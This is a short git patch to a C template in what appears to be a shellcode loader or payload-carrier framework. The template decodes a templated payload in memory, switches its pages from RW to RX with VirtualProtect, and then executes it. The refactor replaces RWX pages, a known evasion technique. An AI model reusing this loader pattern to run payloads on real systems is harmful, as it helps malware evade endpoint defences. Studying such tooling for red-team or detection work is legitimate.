From c9bd61f001d4ee3755dbbc6cf7ddede9efd65b2e Mon Sep 17 00:00:00 2001 From: Dobin Rutishauser Date: Sat, 22 Jun 2024 16:36:16 +0200 Subject: [PATCH] refactor: change_rwx_rx is now rw_rx thanks to previous refactor 1 page diff --- .../{change_rwx_rx => change_rw_rx}/template.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) rename data/source/carrier/{change_rwx_rx => change_rw_rx}/template.c (77%) diff --git a/data/source/carrier/change_rwx_rx/template.c b/data/source/carrier/change_rw_rx/template.c similarity index 77% rename from data/source/carrier/change_rwx_rx/template.c rename to data/source/carrier/change_rw_rx/template.c index 8ffc5bb..fb0eb65 100644 --- a/data/source/carrier/change_rwx_rx/template.c +++ b/data/source/carrier/change_rw_rx/template.c @@ -40,19 +40,26 @@ int main() // Note: RWX if carrier and payload are on the same page (or we cant exec copy..) // can do only RW otherwise? - for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) { + /*for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) { if (VirtualProtect(dest + (n * 4096), 16, p_RWX, &result) == 0) { return 16; } + }*/ + if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) { + return 16; } {{ plugin_decoder }} - for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) { + if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) { + return 16; + } + + /*for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) { if (VirtualProtect(dest + (n * 4096), 16, p_RX, &result) == 0) { return 16; } - } + }*/ // Execute *dest (*(void(*)())(dest))();